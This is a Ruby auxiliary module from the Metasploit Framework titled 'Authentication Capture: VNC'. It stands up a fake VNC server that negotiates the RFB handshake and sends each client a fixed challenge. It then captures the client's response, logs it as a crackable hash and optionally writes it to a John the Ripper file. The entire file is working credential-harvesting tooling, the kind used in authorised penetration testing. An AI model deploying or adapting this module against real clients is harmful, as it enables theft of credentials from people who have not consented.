##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'           => 'Authentication Capture: VNC',
			'Description'    => %q{
				This module provides a fake VNC service that
			is designed to capture authentication credentials.
			},
			'Author'         => 'Patrik Karlsson patrik[at]cqure.net',
			'License'        => MSF_LICENSE,
			'Actions'        => [ [ 'Capture' ] ],
			'PassiveActions' => [ 'Capture' ],
			'DefaultAction'  => 'Capture'
		)

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5900 ]),
				OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "00112233445566778899AABBCCDDEEFF" ]),
				OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ])
			], self.class)
	end

	def setup
		super
		@state = {}
	end

	def run
		if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{32})$/
			@challenge = [ datastore['CHALLENGE'] ].pack("H*")
		else
			print_error("CHALLENGE syntax must match 00112233445566778899AABBCCDDEEFF")
			return
		end
		exploit()
	end

	def on_client_connect(c)
		@state[c] = {
			:name    => "#{c.peerhost}:#{c.peerport}",
			:ip      => c.peerhost,
			:port    => c.peerport,
			:pass    => nil,
			:chall   => nil,
			:proto   => nil
		}

		c.put "RFB 003.007\n"
	end

	def on_client_data(c)
		data = c.get_once
		return if not data

		if data =~ /^RFB (.*)\n$/
			@state[c][:proto] = $1
			if @state[c][:proto] == "003.007"
				# for the 003.007 protocol we say we support the VNC sectype
				# and wait for the server to acknowledge it, before we send the
				# challenge.
				c.put [0x0102].pack("n") # 1 sectype, unencrypted
			elsif @state[c][:proto] == "003.003"
				# for the 003.003 protocol we say we support the VNC sectype
				# and immediately send the challenge
				sectype = [0x00000002].pack("N")
				c.put sectype

				@state[c][:chall] = @challenge
				c.put @state[c][:chall]
			else
				c.close
			end
		# the challenge was sent, so this should be our response
		elsif @state[c][:chall]
			c.put [0x00000001].pack("N")
			c.close
			print_status("VNC LOGIN: #{@state[c][:name]} Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}")
			hash_line = "$vnc$*#{@state[c][:chall].unpack("H*")[0]}*#{data.unpack('H*')[0]}"
			report_auth_info(
				:host  => c.peerhost,
				:port => datastore['SRVPORT'],
				:sname => 'vnc_client',
				:user => "",
				:pass => hash_line,
				:type => "vnc_hash",
				:proof => hash_line,
				:source_type => "captured",
				:active => true
			)

			if(datastore['JOHNPWFILE'])
				fd = ::File.open(datastore['JOHNPWFILE'] + '_vnc' , "ab")
				fd.puts hash_line
				fd.close
			end
		# we have got the protocol sorted out and have offered the VNC sectype (2)
		elsif @state[c][:proto] == "003.007"
			if ( data.unpack("C")[0] != 2 )
				print_error("Error: #{@state[c][:name]} Client chose a sectype that was not offered! #{data.unpack("H*")}")
				c.close
				return
			end
			@state[c][:chall] = @challenge
			c.put @state[c][:chall]
		end
	end

	def on_client_close(c)
		@state.delete(c)
	end
end